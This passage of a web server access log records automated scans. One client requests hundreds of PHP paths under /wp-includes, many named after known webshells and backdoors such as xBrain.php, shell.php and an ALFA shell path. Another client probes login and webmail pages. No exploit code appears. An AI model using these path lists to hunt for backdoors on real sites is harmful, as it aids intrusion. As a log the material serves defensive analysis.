/wp-includes/404.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:35:53 -0400] "GET /wp-includes/4Gh2KC3UQEc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:35:57 -0400] "GET /wp-includes/4HGIbcrUWhy.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:36:01 -0400] "GET /wp-includes/4MkuIlCN8cB.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:36:06 -0400] "GET /wp-includes/4NDvJxdAckU.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:36:10 -0400] "GET /wp-includes/4REzCXlesoN.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:36:13 -0400] "GET /wp-includes/4Y9KOVRvqrP.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:36:16 -0400] "GET /wp-includes/4a8ZmAdfYEk.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:36:20 -0400] "GET /wp-includes/4oaMT6spgwP.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:36:23 -0400] "GET /wp-includes/5Z4iTjIRAFz.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:36:25 -0400] "GET /wp-includes/5nUKyurCbLe.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:36:29 -0400] "GET /wp-includes/5qK7TMEc8fY.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:36:30 -0400] "GET /wp-includes/5tocX6Gkref.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:36:34 -0400] "GET /wp-includes/624jlHax7f5.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:36:36 -0400] "GET /wp-includes/6EeSZtdQrch.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:36:38 -0400] "GET /wp-includes/6I2vUbTadJO.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:36:41 -0400] "GET /wp-includes/6U71KzQC98S.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:36:42 -0400] "GET /wp-includes/6ZKP9RiYwlM.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:36:44 -0400] "GET /wp-includes/6g3VEPfspOJ.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:36:45 -0400] "GET /wp-includes/6kjOKB13oiW.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:36:47 -0400] "GET /wp-includes/7LGSNpCH2Ai.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:36:49 -0400] "GET /wp-includes/7QkOwJbC4uB.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:36:52 -0400] "GET /wp-includes/7XhnbeQUrHB.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:36:55 -0400] "GET /wp-includes/7kGBWef4vJE.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:36:59 -0400] "GET /wp-includes/7tc9J8MbNDP.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:00 -0400] "GET /wp-includes/849MWReQf5d.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:01 -0400] "GET /wp-includes/85YZsyCUMRH.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:03 -0400] "GET /wp-includes/8XnPa2ebzjt.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:04 -0400] "GET /wp-includes/8a1GFlXOC3W.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:07 -0400] "GET /wp-includes/95GjR2oLVAq.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:12 -0400] "GET /wp-includes/9KclI8whVCt.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:16 -0400] "GET /wp-includes/9KoYaRW2ViG.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:18 -0400] "GET /wp-includes/9hloDMCajiE.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:20 -0400] "GET /wp-includes/9wHCYkXhFat.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:22 -0400] "GET /wp-includes/ADdHqTvWe2p.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:24 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:26 -0400] "GET /wp-includes/AYWw86V4lCb.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:28 -0400] "GET /wp-includes/Ab5tdXYSp3m.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:29 -0400] "GET /wp-includes/AeLiyXCsWRP.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:30 -0400] "GET /wp-includes/Am8DjQ1hYCM.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:31 -0400] "GET /wp-includes/BNdZcrqfp96.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:33 -0400] "GET /wp-includes/BSKlRtNkd7T.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:35 -0400] "GET /wp-includes/BW78qubSIi6.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:36 -0400] "GET /wp-includes/BibpeUT6Srj.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:37 -0400] "GET /wp-includes/BlANITrsFn8.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:39 -0400] "GET /wp-includes/C7aqylzu2vp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:41 -0400] "GET /wp-includes/CQ3u7inwjcm.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:43 -0400] "GET /wp-includes/CWOqpEgKZFG.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:44 -0400] "GET /wp-includes/CZVFJ1iETu9.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:46 -0400] "GET /wp-includes/Cla7mpMXqtZ.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:47 -0400] "GET /wp-includes/Cpg5hsHwVa3.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:49 -0400] "GET /wp-includes/CqPtQH6xgFv.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:51 -0400] "GET /wp-includes/D2a4qMfz8OV.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:52 -0400] "GET /wp-includes/D3XbzaLTdoy.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:54 -0400] "GET /wp-includes/DBb75TX4aSq.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:55 -0400] "GET /wp-includes/DbBih7UaJ18.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:56 -0400] "GET /wp-includes/DdWzLZVYfG4.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:37:59 -0400] "GET /wp-includes/DfO9S2sWQeR.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:01 -0400] "GET /wp-includes/E52uQzbthDP.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:03 -0400] "GET /wp-includes/E7caMueJAdD.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:05 -0400] "GET /wp-includes/EM2AyNLX1Zx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:06 -0400] "GET /wp-includes/EO2kroQhpUu.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:08 -0400] "GET /wp-includes/EoeIH4JmfTi.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:10 -0400] "GET /wp-includes/F8Jx6Xd2jpQ.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:11 -0400] "GET /wp-includes/FBpLfr2oR3M.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:12 -0400] "GET /wp-includes/FRmiwXUtO2K.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:13 -0400] "GET /wp-includes/G3jIOZXasr7.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:14 -0400] "GET /wp-includes/GahxXyLrlK3.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:16 -0400] "GET /wp-includes/GlRsTyKuOLA.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:17 -0400] "GET /wp-includes/H4PwluIEUzJ.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:18 -0400] "GET /wp-includes/HJen2iTjI54.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:19 -0400] "GET /wp-includes/HdkrAtBgUxW.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:20 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:21 -0400] "GET /wp-includes/ID3//file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:22 -0400] "GET /wp-includes/ID3/?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:24 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:26 -0400] "GET /wp-includes/ID3/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:29 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:31 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:34 -0400] "GET /wp-includes/ID3/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:36 -0400] "GET /wp-includes/ID3/module.audio-video.matroska-meta.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:39 -0400] "GET /wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:43 -0400] "GET /wp-includes/ID3/wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:44 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:45 -0400] "GET /wp-includes/ID3/x2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:46 -0400] "GET /wp-includes/ID3/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:47 -0400] "GET /wp-includes/IS1QFBAdReV.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:49 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:50 -0400] "GET /wp-includes/IXR//4pgwp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:51 -0400] "GET /wp-includes/IXR//%3Cahref=%22/wp-includes/IXR/class-IXR-base64.php%22%3E%3Cimgclass=%22icon%22src=%22/_autoindex/assets/icons/file-text.svg%22alt=%22[TXT]%22%3Eclass-IXR-base64.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:53 -0400] "GET /wp-includes/IXR//wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:54 -0400] "GET /wp-includes/IXR/%3Cahref=%22/wp-includes/IXR/class-IXR-base64.php%22%3E%3Cimgclass=%22icon%22src=%22/_autoindex/assets/icons/file-text.svg%22alt=%22[TXT]%22%3Eclass-IXR-base64.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:55 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:56 -0400] "GET /wp-includes/IXR/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:38:58 -0400] "GET /wp-includes/IXR/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:39:02 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:39:05 -0400] "GET /wp-includes/IXR/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:39:08 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:39:13 -0400] "GET /wp-includes/IXR/install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:39:17 -0400] "GET /wp-includes/IXR/shell.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:39:19 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:39:23 -0400] "GET /wp-includes/IXR/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:39:25 -0400] "GET /wp-includes/Ie9FSsVMDEo.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:39:28 -0400] "GET /wp-includes/ImZgvy9khUu.php HTTP/1.1" 301 795 "-" "-" 107.174.231.208 - - [15/Apr/2025:09:39:28 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36" 52.169.149.163 - - [15/Apr/2025:09:39:31 -0400] "GET /wp-includes/IsENazRPM4h.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:39:36 -0400] "GET /wp-includes/J3N7PX4jYKg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:39:39 -0400] "GET /wp-includes/J7ZayUDxCQ4.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:39:44 -0400] "GET /wp-includes/JIz2LsNDm5G.php HTTP/1.1" 301 795 "-" "-" 107.174.231.208 - - [15/Apr/2025:09:39:45 -0400] "GET /mail HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36" 52.169.149.163 - - [15/Apr/2025:09:39:47 -0400] "GET /wp-includes/JYR4ws5QDu6.php HTTP/1.1" 301 795 "-" "-" 107.174.231.208 - - [15/Apr/2025:09:39:48 -0400] "GET /webmail HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36" 52.169.149.163 - - [15/Apr/2025:09:39:49 -0400] "GET /wp-includes/JjIpHUP5ElO.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:39:53 -0400] "GET /wp-includes/JnMRlNQOs3b.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:39:57 -0400] "GET /wp-includes/K19VSjmkeCT.php HTTP/1.1" 301 795 "-" "-" 107.174.231.208 - - [15/Apr/2025:09:39:57 -0400] "GET /login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36" 52.169.149.163 - - [15/Apr/2025:09:39:58 -0400] "GET /wp-includes/K8IgxOsEFvo.php HTTP/1.1" 301 795 "-" "-" 107.174.231.208 - - [15/Apr/2025:09:40:01 -0400] "GET /signin HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36" 52.169.149.163 - - [15/Apr/2025:09:40:02 -0400] "GET /wp-includes/KHoAlLs3129.php HTTP/1.1" 301 795 "-" "-" 107.174.231.208 - - [15/Apr/2025:09:40:05 -0400] "GET /owa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" 52.169.149.163 - - [15/Apr/2025:09:40:06 -0400] "GET /wp-includes/LOE5823rYzM.php HTTP/1.1" 301 795 "-" "-" 107.174.231.208 - - [15/Apr/2025:09:40:09 -0400] "GET /myaccount HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36" 52.169.149.163 - - [15/Apr/2025:09:40:09 -0400] "GET /wp-includes/LSHGvrN9Cjf.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:40:12 -0400] "GET /wp-includes/LYw1ni9VJTl.php HTTP/1.1" 301 795 "-" "-" 107.174.231.208 - - [15/Apr/2025:09:40:13 -0400] "GET /account HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" 52.169.149.163 - - [15/Apr/2025:09:40:17 -0400] "GET /wp-includes/MhZYbFS2rGd.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:40:23 -0400] "GET /wp-includes/MoJhLeWjBrg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:40:28 -0400] "GET /wp-includes/Mq8vhT4yYVO.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:40:33 -0400] "GET /wp-includes/MxbiKEFOXQy.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:40:39 -0400] "GET /wp-includes/NCImtphZOK5.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:40:42 -0400] "GET /wp-includes/O5Z8Gyn4EIh.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:40:46 -0400] "GET /wp-includes/OYStpqjgDZ5.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:40:48 -0400] "GET /wp-includes/OhpfCSna9Vc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:40:51 -0400] "GET /wp-includes/OwG5LmjClXZ.php HTTP/1.1" 301 795 "-" "-" 18.97.14.82 - - [15/Apr/2025:09:40:51 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "CCBot/2.0 (https://commoncrawl.org/faq/)" 52.169.149.163 - - [15/Apr/2025:09:40:54 -0400] "GET /wp-includes/PBfZp95n2Ud.php HTTP/1.1" 301 795 "-" "-" 18.97.14.82 - - [15/Apr/2025:09:40:56 -0400] "GET / HTTP/1.1" 301 795 "-" "CCBot/2.0 (https://commoncrawl.org/faq/)" 52.169.149.163 - - [15/Apr/2025:09:40:57 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:40:59 -0400] "GET /wp-includes/PHPMailer//2222.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:41:01 -0400] "GET /wp-includes/PHPMailer//Ab0ut.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:41:02 -0400] "GET /wp-includes/PHPMailer//about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:41:05 -0400] "GET /wp-includes/PHPMailer//indexx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:41:08 -0400] "GET /wp-includes/PHPMailer//themes-install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:41:10 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:41:12 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:41:14 -0400] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:41:17 -0400] "GET /wp-includes/PHPMailer/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:41:19 -0400] "GET /wp-includes/Q4TbrMq6sSk.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:41:21 -0400] "GET /wp-includes/Q8yL6j2i9zk.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:41:22 -0400] "GET /wp-includes/QLJoTSZn46j.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:41:25 -0400] "GET /wp-includes/QewG7L1lTkb.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:41:27 -0400] "GET /wp-includes/QgfAohVSwD1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:41:29 -0400] "GET /wp-includes/Qj9rebE2xow.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:41:32 -0400] "GET /wp-includes/Qm9vKED1AXP.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:41:37 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:41:42 -0400] "GET /wp-includes/Requests//cong.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:41:46 -0400] "GET /wp-includes/Requests//hellodoyyl.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:41:50 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:41:54 -0400] "GET /wp-includes/Requests/Auth//images.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:41:57 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:42:00 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:42:03 -0400] "GET /wp-includes/Requests/Exception/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:42:08 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:42:14 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:42:20 -0400] "GET /wp-includes/Requests/Response//siteindex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:42:23 -0400] "GET /wp-includes/Requests/Response//wp-theme.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:42:26 -0400] "GET /wp-includes/Requests/Response/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:42:30 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:42:36 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:42:40 -0400] "GET /wp-includes/Requests/Utility/cc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:42:44 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:42:48 -0400] "GET /wp-includes/Requests/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:42:50 -0400] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:42:52 -0400] "GET /wp-includes/Requests/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:42:54 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:42:57 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:43:02 -0400] "GET /wp-includes/Requests/src/Auth/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:43:05 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:43:11 -0400] "GET /wp-includes/SimplePie//f-index4.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:43:15 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:43:22 -0400] "GET /wp-includes/SimplePie/Cache//cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:43:24 -0400] "GET /wp-includes/SimplePie/Cache/Hash.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:43:28 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:43:30 -0400] "GET /wp-includes/SimplePie/Content//makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:43:31 -0400] "GET /wp-includes/SimplePie/Content/Type//themes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:43:34 -0400] "GET /wp-includes/SimplePie/Content/Type/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:43:37 -0400] "GET /wp-includes/SimplePie/Content/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:43:41 -0400] "GET /wp-includes/SimplePie/Content/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:43:44 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:43:46 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:43:53 -0400] "GET /wp-includes/SimplePie/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:43:58 -0400] "GET /wp-includes/SimplePie/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:44:02 -0400] "GET /wp-includes/SimplePie/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:44:04 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:44:06 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:44:10 -0400] "GET /wp-includes/SimplePie/system.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:44:12 -0400] "GET /wp-includes/SimplePie/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:44:14 -0400] "GET /wp-includes/SimplePie/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - 